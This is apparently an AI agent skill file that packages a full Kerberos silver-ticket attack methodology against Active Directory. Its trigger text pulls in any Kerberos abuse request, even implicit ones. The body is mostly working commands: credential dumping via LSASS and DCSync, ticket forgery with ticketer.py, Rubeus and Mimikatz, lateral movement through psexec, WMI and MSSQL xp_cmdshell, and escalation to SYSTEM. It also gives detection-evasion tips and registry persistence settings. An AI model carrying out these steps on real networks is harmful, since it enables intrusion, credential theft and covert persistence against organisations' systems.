silver-ticket-attack

name

silver-ticket-attack

description

Forge and abuse Kerberos Silver Tickets in Active Directory environments. Use this skill whenever the user mentions silver tickets, TGS forgery, service ticket attacks, Kerberos abuse, SPN exploitation, or needs to impersonate users to specific AD services. Also trigger when discussing AES/RC4 key extraction, ticketer.py, Rubeus asktgs, or Mimikatz kerberos::golden with service targets. Make sure to use this skill for any AD Kerberos attack involving service accounts, even if the user doesn't explicitly say "silver ticket."

Silver Ticket Attack Methodology

Forge Ticket Granting Service (TGS) tickets to impersonate any user to specific Active Directory services using service account credentials.

When to Use This Skill

• You have a service account hash (NTLM or AES key) and need to access a specific service
• You want to impersonate any user to a target service without touching the DC
• You're working in modern AES-only domains (post-Nov 2022 KB5021131)
• You need to access CIFS, HOST, RPCSS, LDAP, MSSQL, or other AD services
• You want to chain with Potato techniques for SYSTEM escalation

Critical Modern Kerberos Changes

Windows updates from Nov 2022 (KB5021131) default to AES session keys:

• RC4 is being phased out; DCs will ship with RC4 disabled by default by mid-2026
• Relying on NTLM/RC4 hashes increasingly fails with KRB_AP_ERR_MODIFIED
• Always extract AES keys (aes256-cts-hmac-sha1-96 / aes128-cts-hmac-sha1-96) for service accounts
• If msDS-SupportedEncryptionTypes is restricted to AES, RC4 will not work even with the NTLM hash
• gMSA/computer accounts rotate every 30 days - dump the current AES key before forging
• OPSEC: Default ticket lifetime is often 10 years; set realistic durations (e.g., -duration 600 minutes)

Prerequisites

1. Service account credentials: NTLM hash or AES key of a service account with an SPN
2. Domain SID: Required for ticket forgery
3. Target service SPN: The service principal name you want to forge for
4. Domain name: The AD domain name

Attack Workflow

Step 1: Extract Service Account Keys

From LSASS (local admin):

# Linux (impacket-secretsdump)
python secretsdump.py -lsass /path/to/dump.zip DOMAIN/username@target

# Windows (Mimikatz)
mimikatz.exe "sekurlsa::logonpasswords"

From DC (DCSync):

mimikatz.exe "lsadump::dcsync /user:serviceaccount"

From keytab file:

# If you have a .keytab, extract the AES key from it

Step 2: Forge the Silver Ticket

On Linux (impacket ticketer.py):

# Forge with AES256 (recommended for modern domains)
python ticketer.py -aesKey <AES256_HEX> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
  -spn <SERVICE_PRINCIPAL_NAME> <USER_TO_IMPERSONATE>

# Forge with AES128
python ticketer.py -aesKey <AES128_HEX> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
  -spn <SERVICE_PRINCIPAL_NAME> <USER_TO_IMPERSONATE>

# Read key directly from keytab file
python ticketer.py -keytab service.keytab -spn <SPN> -domain <DOMAIN> -domain-sid <DOMAIN_SID> <USER>

# With shortened validity for stealth (480 minutes = 8 hours)
python ticketer.py -aesKey <AES256_HEX> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
  -spn cifs/<HOST_FQDN> -duration 480 <USER>

On Windows (Rubeus):

# Request service ticket with AES256
rubeus.exe asktgs /user:<USER> /aes256:<HASH> /domain:<DOMAIN> \
  /ldap /service:<SPN> /ptt /nowrap /printcmd

# Request service ticket with AES128
rubeus.exe asktgs /user:<USER> /aes128:<HASH> /domain:<DOMAIN> \
  /ldap /service:<SPN> /ptt /nowrap /printcmd

# RC4 (only works if DC/service still accepts it)
rubeus.exe asktgs /user:<USER> /rc4:<HASH> /domain:<DOMAIN> \
  /ldap /service:<SPN> /ptt /nowrap /printcmd

On Windows (Mimikatz):

# AES256 silver ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> \
  /aes256:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET> /ptt"

# AES128 silver ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> \
  /aes128:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET> /ptt"

# RC4 (legacy, may fail on modern domains)
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> \
  /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET> /ptt"

# Inject an already forged .kirbi ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"

Step 3: Use the Forged Ticket

Linux (impacket):

export KRB5CCNAME=/path/to/ticket.ccache

# Access via SMB/psexec
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

# Access MSSQL
impacket-mssqlclient -k -no-pass <DOMAIN>/<USER>@<TARGET>:1433

Windows:

# After PTT, use PsExec
PsExec.exe -accepteula \\<TARGET> cmd

# Or use the commands printed by Rubeus /printcmd

Service SPN Reference

Service	SPN Format	Use Case
CIFS	cifs/<HOST_FQDN>	File shares, C$, ADMIN$, psexec
HOST	host/<HOST_FQDN>	Scheduled tasks, WMI
RPCSS	rpcss/<HOST_FQDN>	WMI, remote administration
LDAP	ldap/<DC_FQDN>	DCSync, AD queries
MSSQL	MSSQLSvc/<HOST_FQDN>:1433	SQL Server access
HTTP	http/<HOST_FQDN>	WinRM, web services
WSMAN	wsman/<HOST_FQDN>	PowerShell remoting
WINRM	winrm/<HOST_FQDN>	WinRM access
krbtgt	krbtgt/<DOMAIN>	Golden tickets (requires krbtgt hash)

Rubeus multi-service request:

rubeus.exe asktgs /altservice:host,RPCSS,http,wsman,cifs,ldap,winrm /ptt

Common Attack Paths

CIFS Access (File Shares + PsExec)

# Forge ticket for CIFS
python ticketer.py -aesKey <HASH> -domain-sid <SID> -domain <DOMAIN> \
  -spn cifs/<TARGET_FQDN> administrator

export KRB5CCNAME=$PWD/administrator.ccache

# Access shares
dir \\\<TARGET_FQDN>\C$
dir \\\<TARGET_FQDN>\ADMIN$

# Execute via psexec
python psexec.py <DOMAIN>/administrator@<TARGET> -k -no-pass

MSSQL + Potato to SYSTEM

# Forge ticket for MSSQL
python ticketer.py -aesKey <SQLSVC_AES256> -domain-sid <SID> -domain <DOMAIN> \
  -spn MSSQLSvc/<HOST_FQDN>:1433 administrator

export KRB5CCNAME=$PWD/administrator.ccache

# Connect and enable xp_cmdshell
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<HOST_FQDN>:1433 \
  -q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"

# If SeImpersonatePrivilege exists, chain Potato
# Upload and run PrintSpoofer/GodPotato for SYSTEM

WMI Execution (HOST + RPCSS)

# Forge tickets for HOST and RPCSS
python ticketer.py -aesKey <HASH> -domain-sid <SID> -domain <DOMAIN> \
  -spn host/<TARGET_FQDN> administrator

# Execute WMI commands
Invoke-WmiMethod -class win32_operatingsystem -ComputerName <TARGET>
Invoke-WmiMethod win32_process -ComputerName <TARGET> -name create \
  -argumentlist "<COMMAND>"

DCSync (LDAP)

# Forge LDAP ticket
python ticketer.py -aesKey <HASH> -domain-sid <SID> -domain <DOMAIN> \
  -spn ldap/<DC_FQDN> administrator

# Perform DCSync
mimikatz.exe "lsadump::dcsync /dc:<DC_FQDN> /domain:<DOMAIN> /user:krbtgt"

Detection Evasion

Event IDs to monitor:

• 4624: Account Logon
• 4634: Account Logoff
• 4672: Admin Logon
• No preceding 4768/4769 on DC indicates forged TGS
• Abnormally long ticket lifetime stands out
• Unexpected encryption type (RC4 in AES-only domain) is suspicious

Evasion techniques:

1. Use realistic ticket durations (1-8 hours, not 10 years)
2. Match the encryption type to domain policy (prefer AES)
3. Time attacks during normal business hours
4. Use legitimate-looking usernames
5. Avoid rapid successive authentications

Persistence

Disable machine account password rotation:

HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1

Extend password rotation period:

HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge = <DAYS>

Troubleshooting

KRB_AP_ERR_MODIFIED:

• Domain enforces AES but you're using RC4
• Extract AES key instead of NTLM hash
• Check msDS-SupportedEncryptionTypes on the service account

Ticket rejected:

• Verify Domain SID is correct
• Ensure SPN format matches exactly (case-sensitive)
• Check ticket hasn't expired
• Verify service account hash/key is current (gMSA rotates every 30 days)

Cannot access service:

• Service may not be running on target
• Firewall may block the service port
• Service account may lack permissions for the action

References

• Ired - Kerberos Silver Tickets
• Microsoft KB50211131 - Kerberos Hardening
• Impacket ticketer.py Documentation